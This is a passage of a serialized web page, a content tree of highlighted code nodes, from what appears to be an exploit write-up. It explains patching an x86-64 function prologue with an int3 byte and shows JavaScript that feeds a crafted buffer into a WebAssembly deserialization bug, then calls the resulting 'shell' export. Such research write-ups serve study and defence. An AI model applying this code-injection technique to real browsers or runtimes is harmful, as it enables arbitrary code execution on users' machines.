0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[133805],{"type":23,"tag":37,"props":133806,"children":133807},{"__ignoreMap":7},[133808],{"type":28,"value":133803},{"type":23,"tag":24,"props":133810,"children":133811},{},[133812,133814,133820,133822,133828,133830,133836,133837,133843,133845,133850],{"type":28,"value":133813},"The bytes ",{"type":23,"tag":37,"props":133815,"children":133817},{"className":133816},[],[133818],{"type":28,"value":133819},"85, 72, 137, 229, ...",{"type":28,"value":133821}," correspond to the x86-64 function prologue (",{"type":23,"tag":37,"props":133823,"children":133825},{"className":133824},[],[133826],{"type":28,"value":133827},"push rbp; mov rbp, rsp",{"type":28,"value":133829},"). We replace the first byte with ",{"type":23,"tag":37,"props":133831,"children":133833},{"className":133832},[],[133834],{"type":28,"value":133835},"0xcc",{"type":28,"value":16448},{"type":23,"tag":37,"props":133838,"children":133840},{"className":133839},[],[133841],{"type":28,"value":133842},"int3",{"type":28,"value":133844}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":37,"props":133846,"children":133848},{"className":133847},[],[133849],{"type":28,"value":132648},{"type":28,"value":1474},{"type":23,"tag":31,"props":133852,"children":133854},{"code":133853,"language":35610,"meta":7,"className":35608,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[133855],{"type":23,"tag":37,"props":133856,"children":133857},{"__ignoreMap":7},[133858,133881,133908,134128,134195,134203,134230,134444,134696,134947,135173,135417,135637,135644,135693,135738,135782,135821,135833],{"type":23,"tag":41,"props":133859,"children":133860},{"class":43,"line":44},[133861,133865,133869,133873,133877],{"type":23,"tag":41,"props":133862,"children":133863},{"style":70},[133864],{"type":28,"value":1737},{"type":23,"tag":41,"props":133866,"children":133867},{"style":64},[133868],{"type":28,"value":36140},{"type":23,"tag":41,"props":133870,"children":133871},{"style":70},[133872],{"type":28,"value":39688},{"type":23,"tag":41,"props":133874,"children":133875},{"style":64},[133876],{"type":28,"value":14813},{"type":23,"tag":41,"props":133878,"children":133879},{"style":70},[133880],{"type":28,"value":102},{"type":23,"tag":41,"props":133882,"children":133883},{"class":43,"line":54},[133884,133888,133892,133896,133900,133904],{"type":23,"tag":41,"props":133885,"children":133886},{"style":64},[133887],{"type":28,"value":36183},{"type":23,"tag":41,"props":133889,"children":133890},{"style":858},[133891],{"type":28,"value":133172},{"type":23,"tag":41,"props":133893,"children":133894},{"style":170},[133895],{"type":28,"value":3017},{"type":23,"tag":41,"props":133897,"children":133898},{"style":64},[133899],{"type":28,"value":31927},{"type":23,"tag":41,"props":133901,"children":133902},{"style":114},[133903],{"type":28,"value":133185},{"type":23,"tag":41,"props":133905,"children":133906},{"style":70},[133907],{"type":28,"value":133190},{"type":23,"tag":41,"props":133909,"children":133910},{"class":43,"line":76},[133911,133916,133920,133924,133928,133932,133936,133940,133944,133948,133952,133956,133960,133964,133968,133972,133976,133980,133984,133988,133992,133996,134000,134004,134008,134012,134016,134020,134024,134028,134032,134036,134040,134044,134048,134052,134056,134060,134064,134068,134072,134076,134080,134084,134088,134092,134096,134100,134104,134108,134112,134116,134120,134124],{"type":23,"tag":41,"props":133912,"children":133913},{"style":164},[133914],{"type":28,"value":133915},"    0",{"type":23,"tag":41,"props":133917,"children":133918},{"style":70},[133919],{"type":28,"value":970},{"type":23,"tag":41,"props":133921,"children":133922},{"style":164},[133923],{"type":28,"value":133207},{"type":23,"tag":41,"props":133925,"children":133926},{"style":70},[133927],{"type":28,"value":970},{"type":23,"tag":41,"props":133929,"children":133930},{"style":164},[133931],{"type":28,"value":133216},{"type":23,"tag":41,"props":133933,"children":133934},{"style":70},[133935],{"type":28,"value":970},{"type":23,"tag":41,"props":133937,"children":133938},{"style":164},[133939],{"type":28,"value":133225},{"type":23,"tag":41,"props":133941,"children":133942},{"style":70},[133943],{"type":28,"value":970},{"type":23,"tag":41,"props":133945,"children":133946},{"style":164},[133947],{"type":28,"value":317},{"type":23,"tag":41,"props":133949,"children":133950},{"style":70},[133951],{"type":28,"value":970},{"type":23,"tag":41,"props":133953,"children":133954},{"style":164},[133955],{"type":28,"value":4024},{"type":23,"tag":41,"props":133957,"children":133958},{"style":70},[133959],{"type":28,"value":970},{"type":23,"tag":41,"props":133961,"children":133962},{"style":164},[133963],{"type":28,"value":4024},{"type":23,"tag":41,"props":133965,"children":133966},{"style":70},[133967],{"type":28,"value":970},{"type":23,"tag":41,"props":133969,"children":133970},{"style":164},[133971],{"type":28,"value":4024},{"type":23,"tag":41,"props":133973,"children":133974},{"style":70},[133975],{"type":28,"value":970},{"type":23,"tag":41,"props":133977,"children":133978},{"style":164},[133979],{"type":28,"value":317},{"type":23,"tag":41,"props":133981,"children":133982},{"style":70},[133983],{"type":28,"value":970},{"type":23,"tag":41,"props":133985,"children":133986},{"style":164},[133987],{"type":28,"value":17515},{"type":23,"tag":41,"props":133989,"children":133990},{"style":70},[133991],{"type":28,"value":970},{"type":23,"tag":41,"props":133993,"children":133994},{"style":164},[133995],{"type":28,"value":317},{"type":23,"tag":41,"props":133997,"children":133998},{"style":70},[133999],{"type":28,"value":970},{"type":23,"tag":41,"props":134001,"children":134002},{"style":164},[134003],{"type":28,"value":133290},{"type":23,"tag":41,"props":134005,"children":134006},{"style":70},[134007],{"type":28,"value":970},{"type":23,"tag":41,"props":134009,"children":134010},{"style":164},[134011],{"type":28,"value":4024},{"type":23,"tag":41,"props":134013,"children":134014},{"style":70},[134015],{"type":28,"value":970},{"type":23,"tag":41,"props":134017,"children":134018},{"style":164},[134019],{"type":28,"value":4024},{"type":23,"tag":41,"props":134021,"children":134022},{"style":70},[134023],{"type":28,"value":970},{"type":23,"tag":41,"props":134025,"children":134026},{"style":164},[134027],{"type":28,"value":17282},{"type":23,"tag":41,"props":134029,"children":134030},{"style":70},[134031],{"type":28,"value":970},{"type":23,"tag":41,"props":134033,"children":134034},{"style":164},[134035],{"type":28,"value":3123},{"type":23,"tag":41,"props":134037,"children":134038},{"style":70},[134039],{"type":28,"value":970},{"type":23,"tag":41,"props":134041,"children":134042},{"style":164},[134043],{"type":28,"value":317},{"type":23,"tag":41,"props":134045,"children":134046},{"style":70},[134047],{"type":28,"value":970},{"type":23,"tag":41,"props":134049,"children":134050},{"style":164},[134051],{"type":28,"value":4024},{"type":23,"tag":41,"props":134053,"children":134054},{"style":70},[134055],{"type":28,"value":970},{"type":23,"tag":41,"props":134057,"children":134058},{"style":164},[134059],{"type":28,"value":54666},{"type":23,"tag":41,"props":134061,"children":134062},{"style":70},[134063],{"type":28,"value":970},{"type":23,"tag":41,"props":134065,"children":134066},{"style":164},[134067],{"type":28,"value":55881},{"type":23,"tag":41,"props":134069,"children":134070},{"style":70},[134071],{"type":28,"value":970},{"type":23,"tag":41,"props":134073,"children":134074},{"style":164},[134075],{"type":28,"value":317},{"type":23,"tag":41,"props":134077,"children":134078},{"style":70},[134079],{"type":28,"value":970},{"type":23,"tag":41,"props":134081,"children":134082},{"style":164},[134083],{"type":28,"value":18096},{"type":23,"tag":41,"props":134085,"children":134086},{"style":70},[134087],{"type":28,"value":970},{"type":23,"tag":41,"props":134089,"children":134090},{"style":164},[134091],{"type":28,"value":133216},{"type":23,"tag":41,"props":134093,"children":134094},{"style":70},[134095],{"type":28,"value":970},{"type":23,"tag":41,"props":134097,"children":134098},{"style":164},[134099],{"type":28,"value":133387},{"type":23,"tag":41,"props":134101,"children":134102},{"style":70},[134103],{"type":28,"value":970},{"type":23,"tag":41,"props":134105,"children":134106},{"style":164},[134107],{"type":28,"value":133396},{"type":23,"tag":41,"props":134109,"children":134110},{"style":70},[134111],{"type":28,"value":970},{"type":23,"tag":41,"props":134113,"children":134114},{"style":164},[134115],{"type":28,"value":133405},{"type":23,"tag":41,"props":134117,"children":134118},{"style":70},[134119],{"type":28,"value":970},{"type":23,"tag":41,"props":134121,"children":134122},{"style":164},[134123],{"type":28,"value":133405},{"type":23,"tag":41,"props":134125,"children":134126},{"style":70},[134127],{"type":28,"value":3506},{"type":23,"tag":41,"props":134129,"children":134130},{"class":43,"line":85},[134131,134135,134139,134143,134147,134151,134155,134159,134163,134167,134171,134175,134179,134183,134187,134191],{"type":23,"tag":41,"props":134132,"children":134133},{"style":164},[134134],{"type":28,"value":133915},{"type":23,"tag":41,"props":134136,"children":134137},{"style":70},[134138],{"type":28,"value":970},{"type":23,"tag":41,"props":134140,"children":134141},{"style":164},[134142],{"type":28,"value":4024},{"type":23,"tag":41,"props":134144,"children":134145},{"style":70},[134146],{"type":28,"value":970},{"type":23,"tag":41,"props":134148,"children":134149},{"style":164},[134150],{"type":28,"value":89247},{"type":23,"tag":41,"props":134152,"children":134153},{"style":70},[134154],{"type":28,"value":970},{"type":23,"tag":41,"props":134156,"children":134157},{"style":164},[134158],{"type":28,"value":17515},{"type":23,"tag":41,"props":134160,"children":134161},{"style":70},[134162],{"type":28,"value":970},{"type":23,"tag":41,"props":134164,"children":134165},{"style":164},[134166],{"type":28,"value":317},{"type":23,"tag":41,"props":134168,"children":134169},{"style":70},[134170],{"type":28,"value":970},{"type":23,"tag":41,"props":134172,"children":134173},{"style":164},[134174],{"type":28,"value":3123},{"type":23,"tag":41,"props":134176,"children":134177},{"style":70},[134178],{"type":28,"value":970},{"type":23,"tag":41,"props":134180,"children":134181},{"style":164},[134182],{"type":28,"value":4024},{"type":23,"tag":41,"props":134184,"children":134185},{"style":70},[134186],{"type":28,"value":970},{"type":23,"tag":41,"props":134188,"children":134189},{"style":164},[134190],{"type":28,"value":133481},{"type":23,"tag":41,"props":134192,"children":134193},{"style":70},[134194],{"type":28,"value":3506},{"type":23,"tag":41,"props":134196,"children":134197},{"class":43,"line":105},[134198],{"type":23,"tag":41,"props":134199,"children":134200},{"style":70},[134201],{"type":28,"value":134202},"  ]);\n",{"type":23,"tag":41,"props":134204,"children":134205},{"class":43,"line":155},[134206,134210,134214,134218,134222,134226],{"type":23,"tag":41,"props":134207,"children":134208},{"style":64},[134209],{"type":28,"value":36183},{"type":23,"tag":41,"props":134211,"children":134212},{"style":858},[134213],{"type":28,"value":124985},{"type":23,"tag":41,"props":134215,"children":134216},{"style":170},[134217],{"type":28,"value":3017},{"type":23,"tag":41,"props":134219,"children":134220},{"style":64},[134221],{"type":28,"value":31927},{"type":23,"tag":41,"props":134223,"children":134224},{"style":114},[134225],{"type":28,"value":133185},{"type":23,"tag":41,"props":134227,"children":134228},{"style":70},[134229],{"type":28,"value":133190},{"type":23,"tag":41,"props":134231,"children":134232},{"class":43,"line":186},[134233,134238,134242,134246,134250,134255,134259,134264,134268,134273,134277,134282,134286,134291,134295,134300,134304,134309,134313,134318,134322,134326,134330,134334,134338,134343,134347,134352,134356,134360,134364,134368,134372,134376,134380,134384,134388,134392,134396,134400,134404,134408,134412,134416,134420,134424,134428,134432,134436,134440],{"type":23,"tag":41,"props":134234,"children":134235},{"style":164},[134236],{"type":28,"value":134237},"    147",{"type":23,"tag":41,"props":134239,"children":134240},{"style":70},[134241],{"type":28,"value":970},{"type":23,"tag":41,"props":134243,"children":134244},{"style":164},[134245],{"type":28,"value":18408},{"type":23,"tag":41,"props":134247,"children":134248},{"style":70},[134249],{"type":28,"value":970},{"type":23,"tag":41,"props":134251,"children":134252},{"style":164},[134253],{"type":28,"value":134254},"222",{"type":23,"tag":41,"props":134256,"children":134257},{"style":70},[134258],{"type":28,"value":970},{"type":23,"tag":41,"props":134260,"children":134261},{"style":164},[134262],{"type":28,"value":134263},"192",{"type":23,"tag":41,"props":134265,"children":134266},{"style":70},[134267],{"type":28,"value":970},{"type":23,"tag":41,"props":134269,"children":134270},{"style":164},[134271],{"type":28,"value":134272},"20",{"type":23,"tag":41,"props":134274,"children":134275},{"style":70},[134276],{"type":28,"value":970},{"type":23,"tag":41,"props":134278,"children":134279},{"style":164},[134280],{"type":28,"value":134281},"119",{"type":23,"tag":41,"props":134283,"children":134284},{"style":70},[134285],{"type":28,"value":970},{"type":23,"tag":41,"props":134287,"children":134288},{"style":164},[134289],{"type":28,"value":134290},"44",{"type":23,"tag":41,"props":134292,"children":134293},{"style":70},[134294],{"type":28,"value":970},{"type":23,"tag":41,"props":134296,"children":134297},{"style":164},[134298],{"type":28,"value":134299},"43",{"type":23,"tag":41,"props":134301,"children":134302},{"style":70},[134303],{"type":28,"value":970},{"type":23,"tag":41,"props":134305,"children":134306},{"style":164},[134307],{"type":28,"value":134308},"127",{"type":23,"tag":41,"props":134310,"children":134311},{"style":70},[134312],{"type":28,"value":970},{"type":23,"tag":41,"props":134314,"children":134315},{"style":164},[134316],{"type":28,"value":134317},"62",{"type":23,"tag":41,"props":134319,"children":134320},{"style":70},[134321],{"type":28,"value":970},{"type":23,"tag":41,"props":134323,"children":134324},{"style":164},[134325],{"type":28,"value":17282},{"type":23,"tag":41,"props":134327,"children":134328},{"style":70},[134329],{"type":28,"value":970},{"type":23,"tag":41,"props":134331,"children":134332},{"style":164},[134333],{"type":28,"value":4024},{"type":23,"tag":41,"props":134335,"children":134336},{"style":70},[134337],{"type":28,"value":970},{"type":23,"tag":41,"props":134339,"children":134340},{"style":164},[134341],{"type":28,"value":134342},"159",{"type":23,"tag":41,"props":134344,"children":134345},{"style":70},[134346],{"type":28,"value":970},{"type":23,"tag":41,"props":134348,"children":134349},{"style":164},[134350],{"type":28,"value":134351},"206",{"type":23,"tag":41,"props":134353,"children":134354},{"style":70},[134355],{"type":28,"value":970},{"type":23,"tag":41,"props":134357,"children":134358},{"style":164},[134359],{"type":28,"value":44144},{"type":23,"tag":41,"props":134361,"children":134362},{"style":70},[134363],{"type":28,"value":970},{"type":23,"tag":41,"props":134365,"children":134366},{"style":164},[134367],{"type":28,"value":134299},{"type":23,"tag":41,"props":134369,"children":134370},{"style":70},[134371],{"type":28,"value":970},{"type":23,"tag":41,"props":134373,"children":134374},{"style":164},[134375],{"type":28,"value":4024},{"type":23,"tag":41,"props":134377,"children":134378},{"style":70},[134379],{"type":28,"value":970},{"type":23,"tag":41,"props":134381,"children":134382},{"style":164},[134383],{"type":28,"value":4024},{"type":23,"tag":41,"props":134385,"children":134386},{"style":70},[134387],{"type":28,"value":970},{"type":23,"tag":41,"props":134389,"children":134390},{"style":164},[134391],{"type":28,"value":17282},{"type":23,"tag":41,"props":134393,"children":134394},{"style":70},[134395],{"type":28,"value":970},{"type":23,"tag":41,"props":134397,"children":134398},{"style":164},[134399],{"type":28,"value":4024},{"type":23,"tag":41,"props":134401,"children":134402},{"style":70},[134403],{"type":28,"value":970},{"type":23,"tag":41,"props":134405,"children":134406},{"style":164},[134407],{"type":28,"value":4024},{"type":23,"tag":41,"props":134409,"children":134410},{"style":70},[134411],{"type":28,"value":970},{"type":23,"tag":41,"props":134413,"children":134414},{"style":164},[134415],{"type":28,"value":4024},{"type":23,"tag":41,"props":134417,"children":134418},{"style":70},[134419],{"type":28,"value":970},{"type":23,"tag":41,"props":134421,"children":134422},{"style":164},[134423],{"type":28,"value":4024},{"type":23,"tag":41,"props":134425,"children":134426},{"style":70},[134427],{"type":28,"value":970},{"type":23,"tag":41,"props":134429,"children":134430},{"style":164},[134431],{"type":28,"value":4024},{"type":23,"tag":41,"props":134433,"children":134434},{"style":70},[134435],{"type":28,"value":970},{"type":23,"tag":41,"props":134437,"children":134438},{"style":164},[134439],{"type":28,"value":29419},{"type":23,"tag":41,"props":134441,"children":134442},{"style":70},[134443],{"type":28,"value":3506},{"type":23,"tag":41,"props":134445,"children":134446},{"class":43,"line":195},[134447,134451,134455,134459,134463,134467,134471,134475,134479,134483,134487,134491,134495,134499,134503,134507,134511,134515,134519,134523,134527,134531,134535,134539,134543,134547,134551,134555,134559,134563,134567,134571,134575,134579,134583,134588,134592,134596,134600,134604,134608,134612,134616,134620,134624,134628,134632,134636,134640,134644,134648,134652,134656,134660,134664,134668,134672,134676,134680,134684,134688,134692],{"type":23,"tag":41,"props":134448,"children":134449},{"style":164},[134450],{"type":28,"value":133915},{"type":23,"tag":41,"props":134452,"children":134453},{"style":70},[134454],{"type":28,"value":970},{"type":23,"tag":41,"props":134456,"children":134457},{"style":164},[134458],{"type":28,"value":4024},{"type":23,"tag":41,"props":134460,"children":134461},{"style":70},[134462],{"type":28,"value":970},{"type":23,"tag":41,"props":134464,"children":134465},{"style":164},[134466],{"type":28,"value":4024},{"type":23,"tag":41,"props":134468,"children":134469},{"style":70},[134470],{"type":28,"value":970},{"type":23,"tag":41,"props":134472,"children":134473},{"style":164},[134474],{"type":28,"value":4024},{"type":23,"tag":41,"props":134476,"children":134477},{"style":70},[134478],{"type":28,"value":970},{"type":23,"tag":41,"props":134480,"children":134481},{"style":164},[134482],{"type":28,"value":4024},{"type":23,"tag":41,"props":134484,"children":134485},{"style":70},[134486],{"type":28,"value":970},{"type":23,"tag":41,"props":134488,"children":134489},{"style":164},[134490],{"type":28,"value":4024},{"type":23,"tag":41,"props":134492,"children":134493},{"style":70},[134494],{"type":28,"value":970},{"type":23,"tag":41,"props":134496,"children":134497},{"style":164},[134498],{"type":28,"value":4024},{"type":23,"tag":41,"props":134500,"children":134501},{"style":70},[134502],{"type":28,"value":970},{"type":23,"tag":41,"props":134504,"children":134505},{"style":164},[134506],{"type":28,"value":317},{"type":23,"tag":41,"props":134508,"children":134509},{"style":70},[134510],{"type":28,"value":970},{"type":23,"tag":41,"props":134512,"children":134513},{"style":164},[134514],{"type":28,"value":4024},{"type":23,"tag":41,"props":134516,"children":134517},{"style":70},[134518],{"type":28,"value":970},{"type":23,"tag":41,"props":134520,"children":134521},{"style":164},[134522],{"type":28,"value":4024},{"type":23,"tag":41,"props":134524,"children":134525},{"style":70},[134526],{"type":28,"value":970},{"type":23,"tag":41,"props":134528,"children":134529},{"style":164},[134530],{"type":28,"value":4024},{"type":23,"tag":41,"props":134532,"children":134533},{"style":70},[134534],{"type":28,"value":970},{"type":23,"tag":41,"props":134536,"children":134537},{"style":164},[134538],{"type":28,"value":4024},{"type":23,"tag":41,"props":134540,"children":134541},{"style":70},[134542],{"type":28,"value":970},{"type":23,"tag":41,"props":134544,"children":134545},{"style":164},[134546],{"type":28,"value":4024},{"type":23,"tag":41,"props":134548,"children":134549},{"style":70},[134550],{"type":28,"value":970},{"type":23,"tag":41,"props":134552,"children":134553},{"style":164},[134554],{"type":28,"value":4024},{"type":23,"tag":41,"props":134556,"children":134557},{"style":70},[134558],{"type":28,"value":970},{"type":23,"tag":41,"props":134560,"children":134561},{"style":164},[134562],{"type":28,"value":4024},{"type":23,"tag":41,"props":134564,"children":134565},{"style":70},[134566],{"type":28,"value":970},{"type":23,"tag":41,"props":134568,"children":134569},{"style":164},[134570],{"type":28,"value":4024},{"type":23,"tag":41,"props":134572,"children":134573},{"style":70},[134574],{"type":28,"value":970},{"type":23,"tag":41,"props":134576,"children":134577},{"style":164},[134578],{"type":28,"value":17515},{"type":23,"tag":41,"props":134580,"children":134581},{"style":70},[134582],{"type":28,"value":970},{"type":23,"tag":41,"props":134584,"children":134585},{"style":164},[134586],{"type":28,"value":134587},"28",{"type":23,"tag":41,"props":134589,"children":134590},{"style":70},[134591],{"type":28,"value":970},{"type":23,"tag":41,"props":134593,"children":134594},{"style":164},[134595],{"type":28,"value":4024},{"type":23,"tag":41,"props":134597,"children":134598},{"style":70},[134599],{"type":28,"value":970},{"type":23,"tag":41,"props":134601,"children":134602},{"style":164},[134603],{"type":28,"value":4024},{"type":23,"tag":41,"props":134605,"children":134606},{"style":70},[134607],{"type":28,"value":970},{"type":23,"tag":41,"props":134609,"children":134610},{"style":164},[134611],{"type":28,"value":4024},{"type":23,"tag":41,"props":134613,"children":134614},{"style":70},[134615],{"type":28,"value":970},{"type":23,"tag":41,"props":134617,"children":134618},{"style":164},[134619],{"type":28,"value":40837},{"type":23,"tag":41,"props":134621,"children":134622},{"style":70},[134623],{"type":28,"value":970},{"type":23,"tag":41,"props":134625,"children":134626},{"style":164},[134627],{"type":28,"value":4024},{"type":23,"tag":41,"props":134629,"children":134630},{"style":70},[134631],{"type":28,"value":970},{"type":23,"tag":41,"props":134633,"children":134634},{"style":164},[134635],{"type":28,"value":4024},{"type":23,"tag":41,"props":134637,"children":134638},{"style":70},[134639],{"type":28,"value":970},{"type":23,"tag":41,"props":134641,"children":134642},{"style":164},[134643],{"type":28,"value":4024},{"type":23,"tag":41,"props":134645,"children":134646},{"style":70},[134647],{"type":28,"value":970},{"type":23,"tag":41,"props":134649,"children":134650},{"style":164},[134651],{"type":28,"value":134587},{"type":23,"tag":41,"props":134653,"children":134654},{"style":70},[134655],{"type":28,"value":970},{"type":23,"tag":41,"props":134657,"children":134658},{"style":164},[134659],{"type":28,"value":4024},{"type":23,"tag":41,"props":134661,"children":134662},{"style":70},[134663],{"type":28,"value":970},{"type":23,"tag":41,"props":134665,"children":134666},{"style":164},[134667],{"type":28,"value":4024},{"type":23,"tag":41,"props":134669,"children":134670},{"style":70},[134671],{"type":28,"value":970},{"type":23,"tag":41,"props":134673,"children":134674},{"style":164},[134675],{"type":28,"value":4024},{"type":23,"tag":41,"props":134677,"children":134678},{"style":70},[134679],{"type":28,"value":970},{"type":23,"tag":41,"props":134681,"children":134682},{"style":164},[134683],{"type":28,"value":134587},{"type":23,"tag":41,"props":134685,"children":134686},{"style":70},[134687],{"type":28,"value":970},{"type":23,"tag":41,"props":134689,"children":134690},{"style":164},[134691],{"type":28,"value":4024},{"type":23,"tag":41,"props":134693,"children":134694},{"style":70},[134695],{"type":28,"value":3506},{"type":23,"tag":41,"props":134697,"children":134698},{"class":43,"line":905},[134699,134703,134707,134711,134715,134719,134723,134727,134731,134735,134739,134743,134747,134751,134755,134759,134763,134767,134771,134775,134779,134783,134787,134791,134795,134799,134803,134807,134811,134815,134819,134823,134827,134831,134835,134839,134843,134847,134851,134855,134859,134863,134867,134871,134875,134879,134883,134887,134891,134895,134899,134903,134907,134911,134915,134919,134923,134927,134931,134935,134939,134943],{"type":23,"tag":41,"props":134700,"children":134701},{"style":164},[134702],{"type":28,"value":133915},{"type":23,"tag":41,"props":134704,"children":134705},{"style":70},[134706],{"type":28,"value":970},{"type":23,"tag":41,"props":134708,"children":134709},{"style":164},[134710],{"type":28,"value":4024},{"type":23,"tag":41,"props":134712,"children":134713},{"style":70},[134714],{"type":28,"value":970},{"type":23,"tag":41,"props":134716,"children":134717},{"style":164},[134718],{"type":28,"value":134587},{"type":23,"tag":41,"props":134720,"children":134721},{"style":70},[134722],{"type":28,"value":970},{"type":23,"tag":41,"props":134724,"children":134725},{"style":164},[134726],{"type":28,"value":4024},{"type":23,"tag":41,"props":134728,"children":134729},{"style":70},[134730],{"type":28,"value":970},{"type":23,"tag":41,"props":134732,"children":134733},{"style":164},[134734],{"type":28,"value":4024},{"type":23,"tag":41,"props":134736,"children":134737},{"style":70},[134738],{"type":28,"value":970},{"type":23,"tag":41,"props":134740,"children":134741},{"style":164},[134742],{"type":28,"value":4024},{"type":23,"tag":41,"props":134744,"children":134745},{"style":70},[134746],{"type":28,"value":970},{"type":23,"tag":41,"props":134748,"children":134749},{"style":164},[134750],{"type":28,"value":17515},{"type":23,"tag":41,"props":134752,"children":134753},{"style":70},[134754],{"type":28,"value":970},{"type":23,"tag":41,"props":134756,"children":134757},{"style":164},[134758],{"type":28,"value":4024},{"type":23,"tag":41,"props":134760,"children":134761},{"style":70},[134762],{"type":28,"value":970},{"type":23,"tag":41,"props":134764,"children":134765},{"style":164},[134766],{"type":28,"value":4024},{"type":23,"tag":41,"props":134768,"children":134769},{"style":70},[134770],{"type":28,"value":970},{"type":23,"tag":41,"props":134772,"children":134773},{"style":164},[134774],{"type":28,"value":4024},{"type":23,"tag":41,"props":134776,"children":134777},{"style":70},[134778],{"type":28,"value":970},{"type":23,"tag":41,"props":134780,"children":134781},{"style":164},[134782],{"type":28,"value":4024},{"type":23,"tag":41,"props":134784,"children":134785},{"style":70},[134786],{"type":28,"value":970},{"type":23,"tag":41,"props":134788,"children":134789},{"style":164},[134790],{"type":28,"value":4024},{"type":23,"tag":41,"props":134792,"children":134793},{"style":70},[134794],{"type":28,"value":970},{"type":23,"tag":41,"props":134796,"children":134797},{"style":164},[134798],{"type":28,"value":4024},{"type":23,"tag":41,"props":134800,"children":134801},{"style":70},[134802],{"type":28,"value":970},{"type":23,"tag":41,"props":134804,"children":134805},{"style":164},[134806],{"type":28,"value":4024},{"type":23,"tag":41,"props":134808,"children":134809},{"style":70},[134810],{"type":28,"value":970},{"type":23,"tag":41,"props":134812,"children":134813},{"style":164},[134814],{"type":28,"value":4024},{"type":23,"tag":41,"props":134816,"children":134817},{"style":70},[134818],{"type":28,"value":970},{"type":23,"tag":41,"props":134820,"children":134821},{"style":164},[134822],{"type":28,"value":4024},{"type":23,"tag":41,"props":134824,"children":134825},{"style":70},[134826],{"type":28,"value":970},{"type":23,"tag":41,"props":134828,"children":134829},{"style":164},[134830],{"type":28,"value":4024},{"type":23,"tag":41,"props":134832,"children":134833},{"style":70},[134834],{"type":28,"value":970},{"type":23,"tag":41,"props":134836,"children":134837},{"style":164},[134838],{"type":28,"value":4024},{"type":23,"tag":41,"props":134840,"children":134841},{"style":70},[134842],{"type":28,"value":970},{"type":23,"tag":41,"props":134844,"children":134845},{"style":164},[134846],{"type":28,"value":29419},{"type":23,"tag":41,"props":134848,"children":134849},{"style":70},[134850],{"type":28,"value":970},{"type":23,"tag":41,"props":134852,"children":134853},{"style":164},[134854],{"type":28,"value":4024},{"type":23,"tag":41,"props":134856,"children":134857},{"style":70},[134858],{"type":28,"value":970},{"type":23,"tag":41,"props":134860,"children":134861},{"style":164},[134862],{"type":28,"value":4024},{"type":23,"tag":41,"props":134864,"children":134865},{"style":70},[134866],{"type":28,"value":970},{"type":23,"tag":41,"props":134868,"children":134869},{"style":164},[134870],{"type":28,"value":4024},{"type":23,"tag":41,"props":134872,"children":134873},{"style":70},[134874],{"type":28,"value":970},{"type":23,"tag":41,"props":134876,"children":134877},{"style":164},[134878],{"type":28,"value":4024},{"type":23,"tag":41,"props":134880,"children":134881},{"style":70},[134882],{"type":28,"value":970},{"type":23,"tag":41,"props":134884,"children":134885},{"style":164},[134886],{"type":28,"value":4024},{"type":23,"tag":41,"props":134888,"children":134889},{"style":70},[134890],{"type":28,"value":970},{"type":23,"tag":41,"props":134892,"children":134893},{"style":164},[134894],{"type":28,"value":4024},{"type":23,"tag":41,"props":134896,"children":134897},{"style":70},[134898],{"type":28,"value":970},{"type":23,"tag":41,"props":134900,"children":134901},{"style":164},[134902],{"type":28,"value":4024},{"type":23,"tag":41,"props":134904,"children":134905},{"style":70},[134906],{"type":28,"value":970},{"type":23,"tag":41,"props":134908,"children":134909},{"style":164},[134910],{"type":28,"value":4024},{"type":23,"tag":41,"props":134912,"children":134913},{"style":70},[134914],{"type":28,"value":970},{"type":23,"tag":41,"props":134916,"children":134917},{"style":164},[134918],{"type":28,"value":4024},{"type":23,"tag":41,"props":134920,"children":134921},{"style":70},[134922],{"type":28,"value":970},{"type":23,"tag":41,"props":134924,"children":134925},{"style":164},[134926],{"type":28,"value":4024},{"type":23,"tag":41,"props":134928,"children":134929},{"style":70},[134930],{"type":28,"value":970},{"type":23,"tag":41,"props":134932,"children":134933},{"style":164},[134934],{"type":28,"value":4024},{"type":23,"tag":41,"props":134936,"children":134937},{"style":70},[134938],{"type":28,"value":970},{"type":23,"tag":41,"props":134940,"children":134941},{"style":164},[134942],{"type":28,"value":4024},{"type":23,"tag":41,"props":134944,"children":134945},{"style":70},[134946],{"type":28,"value":3506},{"type":23,"tag":41,"props":134948,"children":134949},{"class":43,"line":922},[134950,134954,134958,134962,134966,134970,134974,134978,134982,134986,134990,134994,134998,135002,135006,135010,135014,135018,135022,135026,135030,135034,135038,135042,135046,135050,135054,135058,135062,135066,135070,135074,135078,135083,135087,135091,135095,135100,135104,135109,135113,135118,13512